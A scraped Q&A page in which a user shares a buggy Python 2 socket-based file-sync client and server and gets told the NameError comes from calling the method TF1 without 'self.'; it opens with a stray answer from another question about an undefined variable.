but then assume that it is defined on line 207. You are missing the case where data is the empty string, which prevents nextcmd from being defined when you try to access it.
It looks like you have
if data == 'quitted':
....
elif data != '':
....
nextcmd = raw_input()
But if data=='', nextcmd is not set to anything, which causes the error when you try and use it.
I've programmed a python script to backup my files, something like Dropbox.
But there are some bugs. I have a class called SyncServer, and there are two functions called __init__ and TF1 seperately. TF1 stands for "Thread Function 1".
When I write thread.start_new_thread(TF1, (conn, 0)), the first parameter, I sent a socket object in. Unfortunately, python's IDLE replied with an error: NameError: global name 'TF1' is not defined
# -*- coding: cp950 -*-
import wx, socket, os, md5, thread, threading
class SyncClient:HOST = "127.0.0.1"
def __init__(self):
self.config = {}
open("sync.config", "a").close()
f = open("sync.config", "r")
line = f.readline()
while line:
tmp = line.split(":")
self.config[tmp[0]] = ":".join(tmp[1:]).split("\n")[0]
line = f.readline()
f.close()
ex = wx.App()
ex.MainLoop()
if (not self.config.has_key("id")) or (not self.config.has_key("password")) or (not self.config.has_key("port")) or (not self.config.has_key("path")):
wx.MessageBox('something wrong. Q__________________________Q', 'Error',
wx.OK | wx.ICON_ERROR)
return
if (not os.access(self.config["path"], os.F_OK)):
wx.MessageBox("It seems that " + self.config["path"] + " doesn't exist.", 'Error',
wx.OK | wx.ICON_ERROR)
return
if int(self.config['port']) > 5:
wx.MessageBox('something wrong. Q__________________________Q', 'Error',
wx.OK | wx.ICON_ERROR)
return
chpswd = md5.new(self.config['password']).hexdigest()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.HOST, 7575))
self.s = s;
s.send("CHECK ID")
if s.recv(1024) != "200 OK":
return
s.send(config['id'] + ";;" + chpswd)
if s.recv(1024) == "False":
wx.MessageBox("id and password not match.", 'Error',
wx.OK | wx.ICON_ERROR)
return
self.path = []
for root, dirs, files in os.walk(self.config['path']):
for f in files:
self.path.append(root + f)
self.s.send("FILE NAME")
if self.s.recv(1024) != "200 OK":
continue
self.s.send(f)
if self.s.recv(1024) != "200 OK":
continue
self.s.send("FILE LEN")
if self.s.recv(1024) != "200 OK":
continue
cut = file_cut(root + f)
self.s.send(len(cut))
MakeThread(cut)
def MakeSocket(self):
self.s.send("GIVE ME A PORT")
port = int(self.s.recv(1024))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.HOST, port))
return s
def MakeThread(self, cut):
self.ptr = 0
s = MakeSocket()
for i in self.config['port']:
#s = MakeSocket()
thread.start_new_thread(TF, (s, cut))
def TF(self, Socket, cut):
l = len(cut)
while self.ptr < l:
Socket.send(self.ptr)
if Socket.recv(1024) != "200 OK":
continue
Socket.send(cut[self.ptr])
self.ptr += 1
Socket.close()
def file_cut(self, path):
f = open(path, "rb")
content = f.read()
cut = []
l = len(content)
i = 0
while i < l:
cut.append(content[i:i+1024])
i += 1024
return cut
'''f = open(path, "rb")
cont = f.read()
f.close()
fsize = len(cont)
fname = path.split("\\")[-1]
self.com.send(fname)
check = self.com.recv(1024)
if check != "200 OK": return
self.com.send(str(fsize))
check = self.com.recv(1024)
if check != "200 OK": return
i = 0
while i < fsize + 1025:
Socket.send(cont[i:i+1024])
i += 1024'''
def file_recv(self, Socket, path=".\\"):
fname = self.com.recv(1024)
self.com.send("200 OK")
f = open(path + fname, "wb")
fsize = self.com.recv(1024)
self.com.send("200 OK")
i = 0
while i < fsize + 1025:
line = Socket.recv(1024)
f.write(line)
f.flush()
i += 1024
f.close()
class SyncServer:
def TF1(self, Socket, null):
while True:
data = Socket.recv(1024)
if data == "CHECK ID":
Socket.send("200 OK!")
user = Socket.recv(1024)
u = open("uid.txt","r")
while True:
udata = u.readline().split(" ")
if udata == "":
Socket.send("False")
break
if user.split(";;")[0] == udata[0]:
Flag = True
if user.split(";;")[1] != md5.hexidigest(udata[1]):
Socket.send("False")
else:
self.user = user.split(";;")[0]
self.files[self.user] = []
Socket.send("True")
break
if data == "GIVE ME A PORT":
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", self.portList[0]))
s.listen(1)
Socket.send(self.portList[0])
for i in range(0, flen):
thread.start_new_thread(TF2, (s.accept(), 0))
f = open(fname, "wb")
for line in self.files[self.user]:
f.write(line)
f.close()
#self.port
if data == "FILE NAME":
Socket.send("200 OK")
fname = Socket.recv(1024)
Socket.send("200 OK")
if data == "FILE LEN":
Socket.send("200 OK")
flen = int(Socket.recv(1024))
def TF2(self, Socket, null):
idx = Socket.recv(1024)
Socket.send("200 OK")
line = Socket.recv(1024)
self.files[self.user][idx] = line
def __init__(self):
self.portList = []
self.files = {}
for i in range(7576,7700):
self.portList.append(i)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 7575))
s.listen(1)
while True:
conn, addr = s.accept()
thread.start_new_thread(TF1, (conn, 0))
thread.start_new_thread(TF1, (conn, 0))
Assumes that TF1 is a global.
"NameError: global name 'TF1' is not defined"
States that TF1 is not a global.
It must be that the assumption is wrong.
TF1 is a method function in a class. Therefore, it needs to be qualified either by the class name or by an object instance. Usually, self.TF1 is appropriate.
Please find a Python tutorial where class definitions are covered.